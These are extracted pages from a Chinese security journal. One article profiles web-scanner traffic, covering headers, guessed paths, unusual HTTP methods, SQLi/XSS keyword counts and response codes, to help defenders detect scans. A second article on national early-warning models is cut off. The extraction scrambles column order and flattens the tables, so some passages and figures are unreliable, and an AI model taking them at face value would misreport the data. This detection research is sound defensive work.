专 家 视 角 简 析 Web 扫 描 网 络 数 据 特 征 核 心 技 术 部 周 大 刘 亚 关 键 字 : Web 扫 描 安 全 攻 防 网 络 数 据 漏 洞 摘 要 : 及 时 识 别 网 络 中 传 输 的 数 据 流 承 载 着 什 么 样 的 数 据 对 安 全 防 守 方 至 关 重 要, 在 Web 安 全 中 尤 其 如 此, 快 速 理 解 这 些 数 据 含 义 和 统 计 行 为 特 征 能 帮 助 防 守 方 及 时 发 现 进 行 中 的 攻 击, 从 而 极 大 地 提 升 产 品 防 护 能 力 本 文 将 从 介 绍 Web 扫 描 的 工 作 原 理 以 及 关 键 过 程 出 发, 实 际 分 析 某 Web 扫 描 器 在 扫 描 过 程 中 产 生 的 数 据, 最 后 试 着 归 纳 Web 扫 描 器 在 工 作 中 所 产 生 的 流 量 数 据 特 征 1. 前 言 下 基 于 Web 的 应 用 越 来 越 多, 其 承 当 载 的 价 值 更 是 成 倍 增 加, 吸 引 着 越 来 越 多 的 安 全 研 究 人 员 聚 焦 Web 安 全 攻 防 双 方 从 来 都 是 作 为 一 对 矛 盾 体 而 存 在 的, 深 入 理 解 攻 击 的 原 理 与 过 程 有 助 于 更 好 地 进 行 防 御 从 攻 击 的 角 度 看, 主 要 遵 循 信 息 收 集 漏 洞 利 用 战 果 再 扩 大 这 样 一 个 基 本 过 程, 而 Web 扫 描 往 往 是 信 息 收 集 中 不 可 缺 少 的 一 个 手 段 本 文 从 网 络 数 据 流 的 角 度 来 分 析 Web 扫 描 行 为, 分 析 其 数 据 特 征 2.Web 扫 描 工 作 原 理 与 关 键 步 骤 Web 扫 描 的 核 心 功 能 是 远 程 探 测 目 标 站 点 所 有 URL 存 在 的 Web 漏 洞, 网 页 爬 行 以 及 漏 洞 扫 描 是 它 的 两 个 主 要 组 成 部 分, 二 者 在 调 度 中 心 的 调 度 下 协 同 工 作 其 主 要 工 作 原 理 如 图 1 图 1 Web 扫 描 工 作 原 理 调 度 中 心 : 调 度 中 心 是 一 个 综 合 模 块, 包 含 开 启 扫 描 扫 描 参 数 解 析 初 始 化 爬 行 模 块 扫 描 模 块 以 及 其 他 相 关 模 块 扫 描 开 始 后, 先 启 动 调 度 中 心 模 块 完 成 初 始 化 工 作, 为 整 个 Web 扫 描 的 顺 利 进 行 做 准 备 ; 在 完 成 初 始 化 工 作 后, 启 动 爬 行 模 块 以 及 扫 描 模 块, 并 且 根 据 各 自 队 列 情 况 来 决 定 是 否 新 建 线 程 来 进 行 扫 描 或 爬 行 ; 在 扫 描 结 束 后 处 理 系 统 的 收 尾 工 作 调 度 中 心 的 主 要 功 能 是 协 调 各 个 组 件 的 正 常 运 行, 是 整 个 Web 扫 描 的 枢 纽 部 分 爬 行 模 块 : 爬 行 模 块 的 主 要 功 能 是 遍 历 目 标 站 点 上 的 页 面, 收 集 所 有 链 接 以 及 对 应 的 输 入 参 数 此 模 块 配 合 爬 虫 队 列 以 及 根 据 策 略 来 对 发 现 的 URL 进 行 消 重 处 理, 将 新 发 现 的 URL 放 入 其 内 部 的 待 爬 行 队 列 中, 而 将 已 经 爬 行 过 的 URL 提 交 给 待 扫 队 列 供 扫 描 分 析 用 爬 行 模 块 主 要 使 用 页 面 载 入 生 成 DOM 树 的 方 法 来 分 析 此 页 面 中 存 在 的 11

专 家 视 角 URL, 同 时 结 合 正 则 表 达 式 来 提 取 URL, 对 Flash 文 件 等 则 使 用 对 应 的 解 析 技 术 来 获 得 新 的 URL 而 对 无 法 使 用 页 面 遍 历 方 式 获 得 的 URL 则 需 要 使 用 猜 测 的 方 法 来 获 得 对 于 Web 扫 描 来 说, 爬 虫 功 能 是 很 重 要 的 一 个 功 能, 直 接 决 定 了 Web 扫 描 的 检 测 范 围 有 多 大 扫 描 模 块 : 漏 洞 的 最 终 发 现 由 扫 描 模 块 来 完 成, 扫 描 模 块 包 含 了 大 量 具 有 漏 洞 探 测 功 能 的 组 件, 它 们 根 据 漏 洞 的 成 因 特 性 甚 至 漏 洞 间 的 关 联 性 来 检 测 目 标 URL 上 是 否 存 在 Web 漏 洞 各 扫 描 组 件 间 互 相 依 赖, 协 同 收 集 目 标 站 点 上 的 相 关 信 息, 并 据 此 不 断 地 调 整 扫 描 组 件 的 工 作 状 态, 来 快 速 推 进 扫 描 的 进 行 爬 虫 队 列 : 爬 行 模 块 在 遍 历 目 标 站 点 的 URL 过 程 中, 会 不 断 地 读 取 分 析 URL 页 面 来 发 现 新 的 URL, 这 样 在 爬 行 中 需 要 记 录 已 经 爬 过 的 URL 列 表, 以 供 判 断 后 面 某 URL 是 否 需 要 继 续 爬 行 用, 新 发 现 的 URL 需 要 放 到 待 爬 行 队 列 中 这 样 爬 行 模 块 的 工 作 对 象 需 要 已 爬 URL 列 表 以 及 待 爬 URL 队 列, 在 这 里 统 称 为 爬 行 队 列 待 扫 队 列 : 所 有 被 爬 行 队 列 发 现 的 URL 都 会 进 入 此 队 列, 调 度 中 心 从 中 取 出 URL 供 扫 描 模 块 使 用 此 队 列 是 连 接 爬 行 模 块 和 扫 描 模 块 的 一 个 重 要 数 据 结 构, 主 要 遵 循 队 列 的 一 般 用 法, 如 先 进 先 出 策 略, 使 用 上 相 对 简 单 Web 扫 描 是 一 个 模 拟 浏 览 器 对 目 标 站 点 进 行 全 面 访 问 的 过 程, 同 时 为 了 对 抗 防 护 设 备 的 干 扰, 需 要 尽 可 能 模 拟 正 常 访 问 行 为 但 是, 不 管 怎 么 模 拟 伪 装,Web 扫 描 过 程 中 都 可 能 存 在 区 别 于 一 般 网 站 访 问 的 行 为, 以 此 为 出 发 点, 下 面 对 整 个 扫 描 中 的 一 些 关 键 过 程 做 如 下 介 绍 : 网 站 基 本 信 息 收 集 : 在 开 始 扫 描 时,Web 扫 描 程 序 需 要 判 断 目 标 网 站 是 否 可 达, 收 集 脚 本 类 型 服 务 器 类 型 等, 这 些 信 息 有 助 于 后 续 扫 描 优 化 特 殊 404 页 面 识 别 : 对 不 存 在 的 页 面,RFC 标 准 是 返 回 HTTP 的 404 响 应 码, 但 某 些 网 站 会 对 此 情 况 做 一 些 定 制 处 理, 比 如 仍 然 返 回 正 常 的 200 响 应 码, 这 就 无 法 根 据 目 标 是 否 返 回 200 响 应 码 来 判 断 所 请 求 的 页 面 是 否 存 在 为 了 让 Web 扫 描 能 正 常 进 行, 往 往 需 要 引 入 非 标 准 404 页 面 识 别 的 功 能 可 能 的 一 种 做 法 是 通 过 请 求 一 些 确 定 不 存 在 的 页 面, 分 析 其 返 回 页 面, 抽 取 出 特 征, 在 后 面 的 扫 描 中 对 获 得 的 响 应 也 应 用 同 样 的 算 法 抽 取 特 征 进 行 比 对, 如 果 相 同 就 认 为 本 次 请 求 的 资 源 不 存 在 对 一 个 功 能 完 备 的 Web 扫 描 器 来 说, 特 殊 404 页 面 的 识 别 是 必 不 可 少 的 猜 测 : 一 般 情 况 下, 网 站 上 都 会 有 一 些 链 接 是 孤 立 的, 无 法 通 过 爬 虫 遍 历 的 方 式 来 访 问, 在 这 个 时 候 就 需 要 借 助 猜 测 功 能 一 般 猜 测 的 范 围 包 括 源 码 备 份 文 件 数 据 备 份 文 件 管 理 后 台 甚 至 cvs/ svn 相 关 的 配 置 文 件 等 下 面 实 际 搭 建 环 境 来 分 析 这 些 环 节 在 网 络 数 据 中 的 一 些 表 现 以 及 特 征 3. 实 例 分 析 1. 环 境 搭 建 在 本 文 中 分 析 的 网 络 数 据 主 要 是 HTTP 层 的, 一 般 的 Web 扫 描 器 不 会 考 虑 自 己 实 现 底 层 协 议, 这 里 就 不 考 虑 底 层 协 议 的 数 据 特 点 ; 同 时 在 Web 扫 描 领 域, 需 要 支 持 HTTPS 协 议, 通 过 直 接 抓 包 12

专 家 视 角 方 式 难 以 满 足 此 部 分 需 求 在 综 合 评 估 后 发 现 使 用 HTTP 代 理 可 满 足 我 们 的 需 求 由 于 需 要 分 析 数 据 内 容, 需 要 增 强 普 通 的 HTTP 代 理 服 务 器, 使 其 具 有 记 录 数 据 包 的 功 能 这 样, 测 试 环 境 的 网 络 拓 扑 结 构 如 图 2 所 示. Web 扫 描 器 选 用 常 见 的 某 Web 扫 描 器 作 为 研 究 对 象, 其 在 实 现 和 使 用 上 都 具 有 一 定 的 代 表 性 HTTP 代 理 程 序 则 根 据 研 究 需 要 做 了 如 下 增 强 : 程 序 Discuz x2 作 为 应 用 3) 测 试 站 点 : 某 Web 扫 描 器 自 身 提 供 的 测 试 站 点, 包 含 了 大 部 分 常 见 Web 漏 洞 下 面 针 对 这 三 种 情 况 一 一 介 绍 2. 数 据 分 析 在 对 目 标 站 点 扫 描 完 成 后, 对 HTTP 代 理 保 存 的 数 据 进 行 分 析, 我 们 看 到 在 请 求 数 据 中 存 在 以 下 特 点 : 1. HTTP 头 存 在 固 定 信 息, 大 部 分 请 求 包 都 会 比 平 常 的 浏 览 器 图 2 测 试 环 境 网 络 拓 扑 结 构 1) 当 使 用 CONNECT 请 求 时, 需 要 将 其 中 的 HTTPS 请 求 数 据 请 求 增 加 3 个 字 段 ( 文 中 所 有 出 现 ******* 为 模 糊 处 理 ) 还 原 出 来, 然 后 向 目 标 网 站 发 起 实 际 的 HTTPS 请 求, 在 接 收 到 目 标 网 站 的 响 应 后 再 将 数 据 发 送 给 Web 扫 描 器 2) 对 所 有 通 过 的 HTTP 请 求 响 应 会 话, 都 记 录 开 始 时 间 结 束 时 间, 并 记 录 请 求 包 和 响 应 包 中 的 完 整 数 据 3) HTTP 代 理 通 过 线 程 来 处 理 HTTP 会 话, 一 个 会 话 用 单 独 的 一 个 线 程 来 处 理, 确 保 不 会 出 现 Web 扫 描 器 向 HTTP 代 理 发 出 请 求 而 得 不 到 响 应 的 情 况 在 本 文 中, 目 标 站 点 主 要 选 择 了 三 个 类 型 : 1) 空 站 点 : 自 搭 建 但 无 任 何 页 面 的 站 点 空 站 点 包 括 基 于 Linux+Apache 和 Windows+IIS 的 两 种 类 型 空 站 点 由 于 不 存 在 页 面,Web 扫 描 器 在 进 行 扫 描 时 发 出 的 扫 描 数 据 包 会 比 较 少, 是 分 析 Web 扫 描 器 行 为 的 较 好 目 标 2) 常 规 网 站 : 自 己 搭 建 的 站 点, 采 用 国 内 比 较 流 行 的 论 坛 建 站 可 看 出 每 个 字 段 里 都 包 含 扫 描 器 的 相 关 信 息, 这 类 信 息 主 要 用 于 标 识 是 由 什 么 Web 扫 描 器 发 出 的 数 据 包 另 外, 有 些 Web 扫 描 器 发 出 的 请 求 头 中 User-Agent 字 段 也 能 看 到 扫 描 器 的 特 定 信 息, 同 时 它 们 也 支 持 对 此 字 段 的 修 改, 所 以 在 大 部 分 情 况 下, 收 集 分 析 HTTP 头 里 包 含 的 信 息 对 理 解 数 据 包 来 源 具 有 较 大 帮 助 2. 向 目 标 站 点 请 求 不 存 在 的 文 件, 针 对 空 站 点 的 扫 描 尤 其 明 显 在 扫 描 空 站 点 时, 只 存 在 一 个 根 页 面, 实 际 不 可 能 发 现 其 他 页 面, 但 在 针 对 此 目 标 进 行 扫 描 时, 却 发 出 了 大 量 的 URL 请 求 通 过 分 析 这 些 URL 路 径, 可 归 为 如 下 几 类 : 1) 肯 定 不 存 在 页 面 的 探 测 在 开 始 扫 描 时, 会 向 目 标 发 出 请 求 /*******-test-for-some- 13

专 家 视 角 inexistent-file, 这 个 请 求 用 来 分 析 页 面 不 存 在 时 的 特 征, 判 断 目 标 站 点 是 否 使 用 了 特 殊 404 页 面 如 果 发 现 目 标 开 启 了 特 殊 404 页 面, 后 面 扫 描 时 就 需 要 据 此 特 征 进 行 比 较 分 析 2) 不 存 在 扩 展 名 的 猜 测 在 一 个 Web 应 用 建 成 后, 正 常 浏 览 时 所 使 用 的 扩 展 名 只 是 有 限 的 几 个, 而 Web 扫 描 为 了 能 探 测 出 更 多 的 隐 藏 资 源, 会 发 出 大 量 的 实 际 不 存 在 的 扩 展 名 请 求 来 下 面 是 实 验 中 对 各 目 标 站 点 进 行 扫 描 后 得 到 的 统 计 数 据, 如 表 1 所 示 可 以 看 出, 在 针 对 两 类 空 站 点 的 扫 描 中, 请 求 中 出 现 了 常 见 动 态 解 析 脚 本 扩 展 名.php.jsp.asp.aspx, 它 们 按 一 定 比 例 出 现, 并 且 后 三 种 的 请 求 次 数 基 本 相 等 ; 而 在 常 规 网 站 以 及 测 试 站 点 中, 其 主 要 动 态 解 析 脚 本 扩 展 名 则 明 显 高 于 其 他 几 个 这 是 因 为 扫 描 器 在 针 对 空 站 点 的 扫 描 中 无 法 获 得 目 标 站 点 实 际 使 用 的 主 要 扩 展 名, 就 只 能 对 所 有 可 能 出 现 的 常 见 扩 展 名 进 行 猜 测 ; 而 对 常 规 站 点 扫 描 由 于 能 正 常 爬 取 到 页 面, 可 识 别 出 目 标 站 点 主 要 使 用 的 动 态 解 析 脚 本 所 使 用 的 扩 展 名, 在 扫 描 过 程 中 也 会 对 此 进 行 优 表 1 扩 展 名 分 布 ( 统 计 分 析 出 现 次 数 最 多 的 前 10 个 扩 展 名 ) 空 站 (windows) 空 站 点 (linux) 常 规 网 站 (php) 测 试 站 点 (asp) 扩 展 名 次 数 扩 展 名 次 数 扩 展 名 次 数 扩 展 名 次 数 无 831 无 787.php 7366 无 873.php 135.php 101 无 192.asp 804.ini 72.jsp 45.css 24.php 132.aspx 47.aspx 42.yml 15.ini 72.jsp 45.asp 40.js 8.jsp 51.asp 43.ini 39.xml 6.aspx 46.sql 20.sql 20.html 5.sql 20.txt 20.txt 20.jsp 4.txt 20.log 19.mdb 17 vulnweb 4.log 18.yml 19.log 17.cfm 4.yml 18 化, 直 接 表 现 为 其 他 扩 展 名 所 占 比 例 小 很 多 3) 特 定 目 录 / 页 面 的 猜 测 猜 测 部 分 主 要 是 对 管 理 后 台 入 口 的 猜 测,Web 扫 描 器 内 部 通 常 会 维 护 一 组 常 见 后 台 管 理 入 口 列 表 在 针 对 空 站 点 (linux) 的 扫 描 中,URL 中 包 含 admin 的 数 量 有 78 条, 有 7 条 是 针 对 login 的 URL 猜 测 这 些 猜 测 基 本 包 含 了 常 见 的 路 径 组 合 以 及 简 单 变 形 4) 备 份 文 件 备 份 文 件 主 要 是 指 目 标 站 点 上 存 在 对 关 键 源 码 文 件 的 备 份, 使 用 的 扩 展 名 会 被 服 务 器 当 作 二 进 制 文 件 下 载, 使 得 敏 感 信 息 泄 露 在 针 对 空 站 点 (linux) 的 扫 描 中, 仅 出 现.bak 的 请 求 就 有 7 处 3. 向 目 标 站 点 发 出 了 不 常 见 的 请 求 方 法 对 扫 描 过 程 中 使 用 的 请 求 方 法 做 汇 总 后, 发 现 除 了 常 见 的 GET 和 POST 外, 还 出 现 了 OPTIONS TRACE TRACK 等 方 法, 甚 至 可 能 出 现 自 定 义 的 请 求 方 法, 如 表 2 所 示 14

专 家 视 角 表 2 扫 描 过 程 中 使 用 的 请 求 方 法 空 站 点 (windows) 空 站 点 (linux) 常 规 网 站 (php) 测 试 站 点 (asp) 方 法 次 数 方 法 次 数 方 法 次 数 方 法 次 数 GET 1587 GET 1394 POST 15774 GET 5557 POST 12 POST 11 GET 7338 POST 1369 PUT 4 OPTIONS 2 TRACE 1 OPTIONS 3 PROPFIND 4 TRACE 1 TRACK 1 TRAE 1 OPTIONS 3 TRACK 1 ACUNETIX 1 TRACK 1 DEBUG 2 OPTIONS 1 DEBUG 1 TRACE 1 TRACK 1 自 定 义 方 法 1 从 表 2 中 还 可 看 出, 常 规 网 站 以 及 测 试 站 点 的 扫 描 中, 都 出 现 了 大 量 的 POST 请 求 实 际 上, 这 些 站 点 并 未 使 用 ajax 技 术 来 向 站 点 提 交 数 据, 在 人 工 浏 览 这 些 网 站 时, 不 会 出 现 这 样 大 量 的 POST 请 求 4. 并 发 连 接 的 特 点 Web 扫 描 为 了 提 高 扫 描 效 率, 往 往 会 采 用 多 线 程 或 多 进 程 来 进 行, 这 点 从 扫 描 参 数 设 置 可 看 出 来, 也 可 在 扫 描 过 程 中 通 过 执 行 netstat -na 来 验 证 在 网 络 数 据 上 则 表 现 为 多 个 HTTP 连 接 的 数 据 包 在 时 间 上 是 交 错 出 现 的 5. 当 某 页 面 具 有 多 个 参 数 时, 会 出 现 对 同 一 个 页 面 多 次 变 换 参 数 进 行 请 求 的 行 为, 在 请 求 数 据 中 可 看 到 包 含 SQL 注 入 XSS 等 Web 攻 击 串 特 征 在 对 常 规 网 站 的 扫 描 中, 对 Web 扫 描 中 常 用 的 一 些 关 键 字 统 计 如 表 3 所 示 6. 响 应 码 分 布 的 特 点 由 于 Web 扫 描 中 包 括 目 录 或 文 件 猜 测 以 及 会 发 送 一 些 特 殊 的 请 求, 使 得 响 应 码 与 正 常 网 络 浏 览 差 异 较 大, 如 表 4 所 示 根 据 HTTP 协 议 标 准 RFC 2616 中 对 响 应 码 的 定 义, 响 应 码 由 三 个 数 字 组 成, 第 一 位 定 义 了 错 误 的 类 型, 后 面 两 位 是 标 识 错 误 类 型 下 的 具 体 错 误 2xx 是 响 应 成 功 的 标 志 ;3xx 是 重 定 向 相 关 的 响 应 类 型 ;4xx 是 请 求 错 误, 包 括 请 求 端 语 法 错 误 或 者 无 法 完 成 的 请 求 ; 5xx 是 服 务 端 错 误 对 于 空 站 点 来 说, 出 现 200 的 情 况 很 小, 大 部 分 都 是 不 存 在 的 404 以 及 其 他 的 响 应 码 ; 在 常 规 网 站 测 试 网 站 中, 4 或 5 开 头 的 响 应 码 所 占 比 例 很 高 在 正 常 访 问 中,2xx 的 响 应 码 占 大 部 分 情 况,4xx 或 5xx 的 响 应 码 在 所 有 请 求 中 所 占 比 例 不 可 能 很 高 大 量 的 URL 猜 测 是 导 致 4xx 出 现 比 率 增 加 的 主 要 原 因,5xx 则 是 由 于 Web 扫 描 器 对 参 数 做 变 形 攻 击, 使 得 目 标 服 务 器 报 错 导 致 当 然, 除 了 上 述 特 点 外, 还 存 在 一 些 特 性, 比 如 在 扫 描 期 间, 存 在 并 发 访 问 请 求 高, 造 成 目 标 服 务 器 在 此 时 段 内 负 载 增 高 的 情 况 等 4. 特 征 汇 总 从 上 一 节 的 实 例 分 析 来 看,Web 扫 描 过 程 中 的 关 键 步 骤 在 网 络 数 据 中 都 有 所 体 现, 明 显 区 分 于 正 常 的 浏 览 器 访 问 请 求 具 体 说 来 可 归 纳 为 如 下 几 点 : 1) 访 问 请 求 数 据 在 扫 描 时 间 段 内 比 较 密 集 15

专 家 视 角 表 3 Web 扫 描 中 常 用 的 关 键 字 关 键 字 出 现 次 数 说 明 select 169 sql 注 入 检 测 使 用 prompt 79 XSS 检 测 alert 528 XSS 检 测.. 1283 文 件 包 含 任 意 文 件 查 看 等 穿 越 指 定 目 录 类 型 的 漏 洞 表 4 响 应 码 分 布 特 点 空 站 点 (windows) 空 站 点 (linux) 常 规 网 站 (php) 测 试 站 点 (asp) 方 法 次 数 方 法 次 数 方 法 次 数 方 法 次 数 404 1453 404 1317 200 22250 200 2053 403 91 400 47 404 1793 500 1838 200 29 403 26 301 23 404 1773 400 16 0 12 403 22 302 1100 0 12 200 3 0 14 403 109 301 4 401 2 400 6 301 27 501 3 501 2 302 5 400 18 207 2 417 1 501 2 0 12 405 2 417 1 501 3 417 1 406 1 500 1 2) 对 一 些 扫 描 器 来 说, 其 发 出 的 HTTP 请 求 头 大 部 分 情 况 下 会 带 有 一 些 明 显 特 征 3)HTTP 请 求 使 用 了 多 种 不 常 见 方 法 4) 属 于 攻 击 行 为 的 关 键 字 在 请 求 包 中 大 量 出 现 5) 错 误 响 应 码 在 扫 描 时 段 内 出 现 的 比 例 明 显 增 加 6) 一 些 在 正 常 访 问 请 求 中 不 常 见 的 扩 展 名 会 大 量 出 现 在 扫 描 时 段 5. 小 结 本 文 介 绍 了 Web 扫 描 的 工 作 原 理 以 及 关 键 过 程, 并 实 地 分 析 了 某 Web 扫 描 器 在 工 作 过 程 中 产 生 的 网 络 数 据, 并 对 其 特 征 做 了 汇 总 从 这 些 特 征 出 发, 我 们 可 比 较 容 易 地 区 分 开 Web 扫 描 与 正 常 浏 览 器 的 访 问 行 为, 这 些 特 征 点 也 是 在 Web 安 全 中 攻 防 双 方 争 战 的 焦 点 所 在 6. 参 考 文 献 1.zaproxy. http://code.google.com/ p/zaproxy/ 2.Vulnerabilit y Sc anning Tools. https:// w w w.owasp.org/ index.php/ Category:Vulnerability_Scanning_Tools 3.nikto. http://www.cirt.net/nikto2 4.Web Application Firewall. https:// www.owasp.org/index.php/web_ Application_Firewall 5.Hyper text Transfer Protocol HTTP/1.1. http://www.ietf.org/rfc/rfc2616.txt 16

专 家 视 角 浅 谈 信 息 安 全 早 期 预 警 理 论 模 型 早 期 预 警 系 统 的 整 体 模 型 广 州 分 公 司 肖 岩 军 关 键 字 : 早 期 预 警 CNCI FISMA CAESARS 框 架 态 势 感 知 风 险 量 化 摘 要 : 本 文 描 述 了 一 种 基 于 持 续 监 控 保 障 态 势 感 知 和 安 全 量 化 计 分 技 术 的 早 期 预 警 系 统 的 整 体 模 型, 并 对 模 型 的 态 势 感 知 持 续 监 控 风 险 量 化 计 分 部 分 展 开 叙 述, 提 出 一 种 基 于 对 抗 的 智 能 态 势 感 知 预 警 模 型 基 于 保 障 的 持 续 监 控 模 型 和 基 于 6sigma 的 自 动 化 安 全 量 化 模 型, 并 展 示 了 部 分 研 究 成 果 本 篇 为 系 列 第 一 篇 一 引 言 着 网 络 安 全 事 件 损 失 的 逐 渐 扩 大 以 及 各 个 国 家 对 网 络 这 个 不 随 对 称 战 争 的 新 领 域 的 逐 渐 重 视, 发 达 国 家 开 始 建 立 起 国 家 层 面 的 早 期 预 警 系 统, 而 且 开 始 指 导 相 关 的 政 府 单 位 运 营 商 金 融 电 网 等 高 度 依 赖 信 息 化 的 基 础 设 施 提 供 商 建 立 相 关 的 企 业 级 别 的 早 期 预 警 平 台, 统 一 对 运 行 质 量 进 行 监 管, 并 开 始 进 行 一 系 列 的 安 全 演 习 来 检 验 各 个 单 位 的 安 全 防 护 建 设 质 量 2013 年 7 月, 美 国 组 织 摩 根 大 通 美 国 银 行 花 旗 银 行 等 大 约 50 家 金 融 公 司 和 政 府 机 构 参 加 了 名 为 量 子 黎 明 2 的 演 习, 其 中 有 美 国 联 邦 调 查 局 证 券 交 易 委 员 会 财 政 部 和 国 安 局 等 重 要 部 门, 测 试 银 行 如 何 应 对 电 脑 黑 客 攻 击, 为 应 对 新 一 轮 全 球 威 胁 做 好 准 备 传 统 的 风 险 管 理 基 于 风 险 评 估, 基 于 风 险 评 估 的 结 果 展 开 安 全 控 制 点 建 设 安 全 脆 弱 点 修 补, 并 持 续 监 控 残 余 风 险 但 在 实 际 中, 人 工 风 险 评 估 成 本 的 高 昂 使 得 风 险 评 估 频 率 和 有 效 性 大 打 折 扣, 而 安 全 控 制 手 段 的 有 效 性 却 没 有 在 风 险 评 估 中 得 到 有 效 体 现 如 风 险 评 估 中 很 少 对 入 侵 检 测 防 火 墙 等 设 备 展 开 有 效 性 评 估, 导 致 部 分 虽 然 通 过 评 估, 但 是 仍 然 被 人 入 侵 篡 改 最 重 要 的 是, 安 全 是 一 个 动 态 的 过 程, 仅 仅 通 过 静 态 的 评 估 是 无 法 体 现 安 全 状 态 的 近 年 来, 由 于 安 全 控 制 手 段 的 成 熟, 安 全 工 作 逐 渐 从 事 后 的 评 估 和 响 应 走 向 预 防 为 主, 逐 渐 从 人 工 评 估 文 档 工 作, 转 向 关 注 在 自 动 化 安 全 运 维 保 障 风 险 持 续 监 控 保 障 态 势 感 知 和 安 全 量 化 计 分 技 术 的 企 业 风 险 早 期 预 警 系 统, 越 来 越 关 注 风 险 的 可 视 化 能 力, 安 全 也 越 来 越 走 向 落 地 随 之 而 来 的 带 了 新 的 研 究 课 题, 如 风 险 可 视 化 技 术 态 势 感 知 技 术 早 期 预 警 技 术 风 险 持 续 监 控 技 术 等 领 域, 安 全 也 从 早 期 希 望 能 够 一 招 打 天 下 的 人 海 战 术 模 式, 开 始 向 精 细 化 模 块 化 系 统 化 规 范 化 自 动 化 平 台 模 式 开 展, 越 来 越 重 视 安 全 的 预 警 和 保 障 本 文 简 述 了 发 达 国 家 的 信 息 安 全 早 期 预 警 系 统 的 相 关 建 设 和 规 范, 并 根 据 实 践 提 出 了 一 个 能 够 落 地 的 信 息 安 全 早 期 预 警 模 型 二 发 达 国 家 的 信 息 安 全 早 期 预 警 相 关 建 设 17

专 家 视 角 2.1 网 络 安 全 预 警 保 障 能 力 的 重 要 性 发 达 国 家 中, 美 国 在 早 期 预 警 方 面 建 设 较 早, 在 2004 年 启 动 了 爱 因 斯 坦 计 划 2009 年 5 月 29 日, 美 国 总 统 奥 巴 马 发 布 网 络 空 间 政 策 审 查 _ 保 证 一 个 可 信 与 有 弹 性 的 信 息 和 通 信 基 础 设 施 报 告, 其 中 强 调 美 国 21 世 纪 的 经 济 繁 荣 将 依 赖 于 网 络 安 全, 非 常 明 显, 网 络 威 胁 是 我 们 面 临 的 最 严 重 的 国 家 经 济 和 国 家 安 全 挑 战 之 一 在 这 个 报 告 中 更 强 调 网 络 空 间 的 战 略 预 警 能 力, 联 邦 政 府 应 提 高 自 身 向 总 统 提 供 网 络 入 侵 或 攻 击 的 战 略 预 警 的 能 力, 而 且 定 下 了 相 关 行 动 建 议 中 期 行 动 建 议 :(⒌) 确 定 最 高 效 最 有 效 的 机 制 以 便 获 得 战 略 性 警 报 保 持 态 势 感 知 能 力 和 事 故 响 应 能 力 无 独 有 偶,2008 年 11 月, 法 国 政 府 发 布 国 防 与 国 家 安 全 白 皮 书, 其 中 明 确 提 到 : 开 发 早 期 预 警 系 统, 建 立 一 个 检 测 中 心 以 发 现 网 络 攻 击, 负 责 常 设 的 关 键 网 络 监 视 并 且 实 现 正 当 的 防 卫 机 制 通 过 发 展 防 御 和 攻 击 性 的 网 络 战 能 力 提 升 信 息 技 术 的 优 势 2.2 美 国 的 相 关 早 期 预 警 建 设 2.2.1 全 面 的 国 家 网 络 安 全 行 动 CNCI 战 略 和 FISMA 法 案 2008 年 1 月, 时 任 美 国 总 统 的 布 什 发 布 了 一 项 重 大 信 息 安 全 政 策, 称 为 第 54 号 国 家 安 全 总 统 令 ( NSPD54)/ 第 23 号 国 土 安 全 总 统 令 ( HSPD23), 其 核 心 是 对 重 大 信 息 安 全 行 动 做 出 的 总 体 部 署 即 全 面 的 国 家 网 络 安 全 行 动 (CNCI), 被 美 国 一 些 媒 体 称 为 信 息 安 全 的 曼 哈 顿 计 划 奥 巴 马 政 府 上 台 后, 该 计 划 正 式 部 署 并 进 入 全 面 实 施 该 计 划 对 之 前 信 息 安 全 战 略 做 了 总 结, 并 对 出 了 一 些 新 的 战 略 计 划 实 际 上, 美 国 为 了 落 地 信 息 安 全 战 略, 早 在 2002 年 就 颁 布 了 联 邦 信 息 安 全 管 理 法 (FISMA), 确 立 了 美 国 联 邦 信 息 系 统 安 全 的 总 体 制 度 框 架, 明 确 了 管 理 责 任 FISMA 把 责 任 分 配 到 各 个 机 构, 以 确 保 联 邦 政 府 的 数 据 安 全 该 法 案 要 求 程 序 员 和 每 个 机 构 的 负 责 人 对 信 息 安 全 计 划 执 行 年 度 评 审, 目 的 是 为 了 以 一 种 低 开 销 及 时 和 有 效 的 方 式 来 把 风 险 控 制 在 可 接 受 的 范 围 之 内 另 外 对 于 监 控 政 府 网 络 等, 提 供 了 法 律 依 据 2010 年, 美 国 发 布 了 FISMA 2.0, 梳 理 了 从 2002 年 到 2010 年 FISMA 的 实 施 经 验, 更 新 了 工 作 重 点, 新 的 重 点 要 求 各 机 构 的 信 息 安 全 方 案 中 必 须 包 含 信 息 系 统 的 持 续 监 控 工 作 重 心 转 移 到 实 时 监 控 并 且 在 总 体 设 计 中 整 合 网 络 安 全, 而 不 是 停 留 在 事 后 的 追 悔 新 的 指 引 改 变 关 注 点, 从 部 门 以 及 机 构 开 发 静 态 基 于 文 件 的 合 规 报 告 到 持 续 的 实 时 监 控 联 邦 网 络 同 时 正 在 建 立 以 实 时 监 控 为 基 础 的 基 于 风 险 的 绩 效 评 价, 并 且 这 个 评 价 将 最 终 被 纳 入 上 级 官 员 绩 效 考 核 这 个 变 化 意 味 着 机 构 将 能 够 迅 速 地 发 现 脆 弱 性 并 且 主 动 地 防 范 攻 击 2.2.2 针 对 网 络 攻 击 的 早 期 预 警 防 护 架 构 : 爱 因 斯 坦 和 可 信 互 联 网 连 接 (TIC) 计 划 美 国 为 了 应 对 网 络 攻 击, 在 2004 年 启 动 了 爱 因 斯 坦 计 划, 目 标 是 在 政 府 网 络 出 口 部 署 入 侵 检 测 netflow 检 测 入 侵 防 护 系 统 来 提 供 攻 击 的 早 期 预 警 和 攻 击 防 护 随 后 2007 年, 提 出 可 信 互 联 网 连 接 (TIC) 计 划, 目 标 是 将 联 邦 政 府 8000 个 网 络 出 口 归 并 为 50 个 左 右 出 口 整 合 后, 便 于 进 行 安 全 设 备 统 一 部 署, 监 控 和 防 护 也 能 做 到 一 18

